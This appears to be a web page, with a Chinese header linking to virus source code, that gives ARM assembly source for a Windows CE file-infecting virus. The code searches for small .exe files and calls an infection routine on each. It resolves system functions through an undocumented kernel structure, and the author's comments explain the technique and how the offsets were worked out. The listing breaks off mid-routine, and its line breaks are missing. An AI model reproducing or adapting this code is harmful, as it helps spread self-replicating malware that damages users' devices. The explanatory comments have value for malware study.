·熊貓燒香之後有仇英 病毒源代碼很簡單·Cabir 手機病毒源代碼（caribe）·Love Letter病毒源代碼·backdoor病毒源代碼·Love Letter病毒源代碼
** virus_source **CODE32EXPORT WinMainCRTStartupAREA .text, CODE, ARMvirus_start; r11 - base pointervirus_code_start PROCstmdb sp!, {r0 - r12, lr, pc}mov r11, spsub sp, sp, #56
; make space on the stack; our stack space gets filled the following way; #-56 - udiv; #-52 - malloc; #-48 - free; [r11, #-44] - CreateFileForMappingW; #-40 - CloseHandle; #-36 - CreateFileMappingW; #-32 - MapViewOfFile; #-28 - UnmapViewOfFile; #-24 - FindFirstFileW; #-20 - FindNextFileW; #-16 - FindClose; #-12 - MessageBoxW; #- 8 - filehandle; #- 4 - mapping handlebl get_export_section; we'll import via ordinals, not function names, because it's; safe - even linker does thatadr r2, import_ordinalsmov r3, spbl lookup_imports;bl ask_userbeq jmp_to_host
; are we allowed to spread?;mov r0, #0x23, 28mov lr, pcldr pc, [r11, #-52] ; allocate WFDmov r4, r0cmp r0, #0beq jmp_to_host; in the following code I use functions FindFirstFile/FindNextFile; for finding *.exe files in the current directory. But in this; case I made a big mistake. I didn't realize that WinCE is not; aware of the current directory and thus we need to use absolute; pathnames. That's why this code won't find files in the current; directory, but rather always in root directory. I found this out when I; was performing final tests, but because the aim was to create a; proof-of-concept code and because the infection itself was already; limited by the user's permission, I decided not to correct this; bugadr r0, maskmov r1, r4mov lr, pcldr pc, [r11, #-24] ; find first filecmn r0, #1beq free_wfdmov r5, r0find_files_iterateldr r0, [r4, #28]
; filesize highldr r1, [r4, #32]
; filesize lowcmp r0, #0
; file too big?bne find_next_filecmp r1, #0x1000
; file smaller than 4096 bytes?addgt r0, r4, #40
; gimme file nameblgt infect_filefind_next_filemov r0, r5mov r1, r4mov lr, pcldr pc, [r11, #-20] ; find next filecmp r0, #0
; is there any left?bne find_files_iteratemov r0, r5mov lr, pcldr pc, [r11, #-16]free_wfdmov r0, r4mov lr, pcldr pc, [r11, #-48] ; free WFD;jmp_to_hostadr r0, host_epldr r1, [r0]
; get host_entryldr r2, [r11, #56]
; get pcadd r1, r1, r2
; add displacementstr r1, [r11, #56]
; store it backmov sp, r11ldmia sp!, {r0 - r12, lr, pc}ENDP; we're looking for *.exe filesmask DCB "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0; host entry point displacement; in first generation let compiler count ithost_epDCD host_entry - virus_code_start - 8; WinCE is a UNICODE-only platform and thus we'll use the W ending; for api names (there are no ANSI versions of these)import_ordinalsDCW 2008
; udivDCW 1041
; mallocDCW 1018
; freeDCW 1167
; CreateFileForMappingWDCW 553
; CloseHandleDCW 548
; CreateFileMappingWDCW 549
; MapViewOfFileDCW 550
; UnmapViewOfFileDCW 167
; FindFirstFileWDCW 181
; FindNextFileDCW 180
; FindCloseDCW 858
; MessageBoxWDCD 0x0; basic wide string comparewstrcmp PROCwstrcmp_iterateldrh r2, [r0], #2ldrh r3, [r1], #2cmp r2, #0cmpeq r3, #0moveq pc, lr
cmp r2, r3beq wstrcmp_iteratemov pc, lrENDP; on theWin32 platform, almost all important functions were located in the; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair; was). The first infectors had a hardcoded imagebase of this dll and; later they imported needed functions by hand from it. This; turned out to be incompatible because different Windows versions might; have different imagebases for kernel32. That's why more or less; sophisticated methods were found that allowed coding in a; compatible way. One of these methods is scanning memory for known values; located in PE file header ("MZ") if the address inside the module is; given. Because the function inside kernel32 calls the EntryPoint of; every Win32 process, we've got this address. Then comparing the word; on and aligned address (and decrementing it) against known values is; enough to locate the imagebase. If this routine is even covered; with SEH (Structured Exception Handling) everything is safe.; I wanted to use this method on WinCE too, but I hit the wall.; Probably to save memory space, there are no headers; before the first section of the loaded module. There is thus no; "MZ" value and scanning cannot be used even we have the address; inside coredll.dll (lr registr on our entrypoint). Moreover, we; cannot use SEH either, because SEH handlers get installed with; the help of a special directory (the exception directory) in the PE file and; some data before the function starts - this information would have; to be added while infecting the victim (the exception directory; would have to be altered) which is of course not impossible -- just; a little bit impractical to implement in our basic virus.; That's why I was forced to use a different approach. I looked; through the Windows CE 3.0 source code (shared source,; downloadable from Microsoft) and tried to find out how the loader; performs its task. The Loader needs the pointer to the module's export; section and its imagebase to be able to import from it. The result was a; KDataStruct at a hardcoded address accessible from user mode (why Microsoft; chose to open this loophole, I don't know); and mainly it's item aInfo[KINX_MODULES] which is a pointer to a; list of Module structures. There we can find all needed values; (name of the module, imagebase and export section RVA). In the; code that follows I go through this one-way list and look for; structure describing the coredll.dll module. From this structure I; get the imagebase and export section RVA (Relative Virtual Address).; what sounds relatively easy was in the end more work than I; expected. The problem was to get the offsets in the Module; structure. The source code and corresponding headers I had were for; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),; where the structure is different. I worked it out using the following; sequence:; I was able to get the imagebase offset using the trial-and-error; method - I used the debugger and tried values inside the; structure that looked like valid pointers. If there was something; interesting, I did some memory sniffing to realize where I was.; The export section pointer was more difficult. There is no real; pointer, just the RVA instead. Adding the imagebase to RVA gives us the; pointer. That's why I found coredll.dll in memory - namely the; list of function names in export section that the library exports.; This list is just a series of ASCIIZ names (you can see this list; when opening the dll in your favourite hex editor). At the; beginning of this list there must be a dll name (in this case; coredll.dll) to which a RVA in the export section header; points. Substracting the imagebase from the address where the dll; name starts gave me an RVA of the dll name. I did a simple byte; search for the byte sequence that together made this RVA value. This; showed me where the (Export Directory Table).Name Rva is.; Because this is a known offset within a known structure (which is; in the beginning of export section), I was able to get; the export section pointer this way. I again substracted the imagebase to; get the export section RVA. I looked up this value in the coredll's; Module structure, which finally gave me the export section RVA; offset.
; this works on Pocket PC 2003; it works on; my wince 4.20.0 (build 13252).; On different versions the structure offsets might be different :-/; output:; r0 - coredll base addr; r1 - export section addrget_export_section PROCstmdb sp!, {r4 - r9, lr}ldr r4, =0xffffc800 ; KDataStructldr r5, =0x324
; aInfo[KINX_MODULES]add r5, r4, r5ldr r5, [r5]; r5 now points to first modulemov r6, r5mov r7, #0iterateldr r0, [r6, #8]
; get dll nameadr r1, coredllbl wstrcmp
; compare with coredll.dllldreq r7, [r6, #0x7c] ; get dll baseldreq r8, [r6, #0x8c]
